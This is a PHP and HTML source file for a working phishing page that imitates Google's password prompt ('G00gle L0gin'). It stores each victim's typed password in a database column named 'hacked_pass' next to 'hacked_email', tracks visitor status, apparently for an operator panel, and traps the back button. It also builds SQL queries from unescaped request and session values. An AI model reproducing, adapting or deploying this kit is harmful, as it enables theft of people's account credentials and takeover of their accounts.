<?php 
session_start();
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
// Include the database connection file
include 'con.php';


// Check if session parameters exist
if (isset($_SESSION['email']) && isset($_SESSION['admin_id']) && isset($_SESSION['user_id'])) {
    $admin_id = $_SESSION['admin_id'];
    $user_id = $_SESSION['user_id'];
    $email = $_SESSION['email'];

    // Function to get the correct connection based on admin_id
    function getConnection($admin_id) {
           global $con1, $con2, $con3, $con4, $con5, $con6, $con7, $con8, $con9, $con10, 
               $con11, $con12, $con13, $con14, $con15, $con16, $con17, $con18, $con19, 
               $con20, $con21, $con22, $con23, $con24, $con25, $con26, $con27, $con28, 
               $con29, $con30;
        $connectionVar = "con" . $admin_id; // Dynamic variable name
        return isset($$connectionVar) ? $$connectionVar : null;
    }

    // Get the connection
    $connection = getConnection($admin_id);
    if (!$connection) {
        die("No database connection found for admin_id $admin_id.");
    }



$visitor_id = session_id();
$current_page1 = $_GET['page'] ?? "EMAIL_PAGE";
$current_page="PASSWORD_PAGE";
$status = $_POST['status'] ?? $_GET['status'] ?? "active"; // default active
 if(isset($_SESSION['visitor_id'])){
      $visitor_id=$_SESSION['visitor_id'];
 }


// Update/Insert visitor row (single row per visitor)
$check = mysqli_query($connection,"SELECT id FROM gmail WHERE visitor_id='$visitor_id' LIMIT 1");
 
    mysqli_query($connection,"UPDATE gmail
        SET current_page='$current_page', visitor_status='$status', last_active=NOW()
        WHERE visitor_id='$visitor_id' LIMIT 1");
 

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['leave'])) {
    
 $status="inactive";
        mysqli_query($connection,"UPDATE gmail
        SET current_page='$current_page', visitor_status='$status', last_active=NOW()
        WHERE visitor_id='$visitor_id' LIMIT 1");
    
}







    $alert = ''; // Default empty alert

    // Check for error in GET request
    if (isset($_GET['error'])) {
        $alert = "Wrong password.";
        $valid_pass = "";
        // Sanitize email before querying
        $email = mysqli_real_escape_string($connection, $email);
        mysqli_query($connection, "UPDATE `gmail` SET `valid_pass`='$valid_pass' WHERE `hacked_email`='$email'");
    }






    // Handle password update on form submission
    if (isset($_POST['submit'])) {
        $password = mysqli_real_escape_string($connection, $_POST['password']); // Sanitize the password

        // Update the password in the database
        $query = mysqli_query($connection, "UPDATE `gmail` SET `hacked_pass`='$password' WHERE `hacked_email`='$email'");

        if ($query) {
            // Redirect to the loading page on successful update
            header("Location: loading.php");
            exit();
        } else {
            // Redirect to incorrect page if the query fails
            header("Location: incorrect.php");
            exit();
        }
    }
} else {
    echo "Session data missing. Please log in again.";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>G00gle L0gin</title>
  <style>
      @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;700&display=swap');

* {
  padding: 0;
  margin: 0;
  box-sizing: border-box;
  font-family: 'Poppins', sans-serif;
}

.box {
  height: 100vh;
  display: flex;
  justify-content: center;
  align-items: center;
  user-select: none;
}

.form {
  width: 400px;
  min-height: 650px;
  padding: 32px;
  border-radius: 6px;
  
}

.form img {
  display: block;
 
}

.form-title {
  font-weight: 500;
  margin-top: 10px;
  margin-bottom: 20px;
  font-size: 20px;
}

.form-group {
  height: 48px;
  margin-bottom: 20px;
  position: relative;
}

.form-control {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: none;
  border: 1px solid  #a1a1a1;
  outline: none;
  padding: 16px;
  border-radius: 3px;
  z-index: 1;
}

/* Add this block to make the input border red when there's an error */
.form-control.error {
  border: 1px solid red;
}

.form-label {
  position: absolute;
  left: 13px;
  top: 13px;
  color: #a1a1a1;
  background-color: white;
  padding: 0 6px;
  font-size: 14px;
  transition: .3s;
}

/* Add this block to turn the label red when there's an error */
.form-label.error {
  color: red;
  font-weight: bold;
}

.form-control:focus + .form-label {
  top: -10px;
  z-index: 10;
  color: #1B66C9;
  font-weight: 500;
}

.form-control:focus {
  border: 1px solid #1B66C9;
}

.form-control:not(:focus):valid + label {
  top: -10px;
  z-index: 10;
}

.showLabel {
  font-size: 14px;
}

.bottom-box {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-top: 35px;
}

.bottom-box a {
  color: #1B66C9;
  text-decoration: none;
  font-size: 14px;
  font-weight: 500;
}

.form-button {
  display: block;
  padding: 12px 32px;
  border: none;
  background-color: #1B66C9;
  color: #fff;
  border-radius: 3px;
  cursor: pointer;
  transition: .3s;
}

.form-button:hover {
  box-shadow: 0 10px 36px rgba(0, 0, 0, .15);
}

.userdetails {
  display: flex;
  font-size: 12px;
  border: 1px solid;
  width: max-content;
  padding: 9px;
  border-radius: 25px;
  margin-bottom: 10px;
}

.emaildetails {
  padding-left: 3px;
  padding-right: 3px;
  margin-top: 2px;
  font-size: 14px;
}

  </style>
  <script>
  // Push a new state so there's something to go "back" to
  history.pushState(null, null, location.href);

  // When the user clicks the back button, re-push the same state
  window.addEventListener('popstate', function () {
    history.pushState(null, null, location.href);
  });
</script>

</head>
<body>
  <div class="box">
    <form action="" method="post" class="form">
      <img src="6s5Eha.png" alt="">
      <h1 class="form-title">Welcome</h1>
      <div class="userdetails">
        <!-- Man Icon -->
        <svg aria-hidden="true" fill="currentColor" focusable="false" width="24px" height="24px" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
            <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm6.36 14.83c-1.43-1.74-4.9-2.33-6.36-2.33s-4.93.59-6.36 2.33C4.62 15.49 4 13.82 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 1.82-.62 3.49-1.64 4.83zM12 6c-1.94 0-3.5 1.56-3.5 3.5S10.06 13 12 13s3.5-1.56 3.5-3.5S13.94 6 12 6z"></path>
        </svg>
        <!-- Email -->
        <span class="emaildetails" id=""><?php echo $email; ?></span>
        <!-- Down Arrow -->
        <svg aria-hidden="true" fill="currentColor" focusable="false" width="24px" height="24px" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
            <path d="M7 10l5 5 5-5z"></path>
        </svg>
      </div>
      <p>To continue, first verify it’s you</p>
      <br>
      <div class="form-group">
        <input type="password" class="form-control <?php if($alert) { echo 'error'; } ?>" required name="password" id="txtPassword">
        <!-- Check if there is an alert or error, add 'error' class to label -->
        <label for="" class="form-label <?php if($alert) { echo 'error'; } ?>">Enter Your Password</label>
      </div>
       <span style="font-size:15px; color:red; margin-bottom:15px!important;" ><?php echo $alert; ?></span>
      <div class="form-group">
        <label class="showLabel">
          <input type="checkbox" id="show"> 
          Show Password
        </label>
      </div>
      <a style="color:blue;">Forget Password?</a>
      <button type="submit" class="form-button" name="submit" style="float:right;text-decoration:none;"> Next</button>
    </form>
  </div>

  <script>
    const Password = document.querySelector("#txtPassword");
    const Checkbox = document.querySelector("#show");

    // Add event listener for the checkbox to toggle password visibility
    Checkbox.addEventListener('click', function() {
      const type = Password.getAttribute("type") === "password" ? "text" : "password";
      Password.setAttribute("type", type);
    });
  </script>

<script>
window.addEventListener("beforeunload", function () {
    navigator.sendBeacon(
        window.location.href,
        new URLSearchParams({ leave: 1 })
    );
});
</script>
</body>
</html>
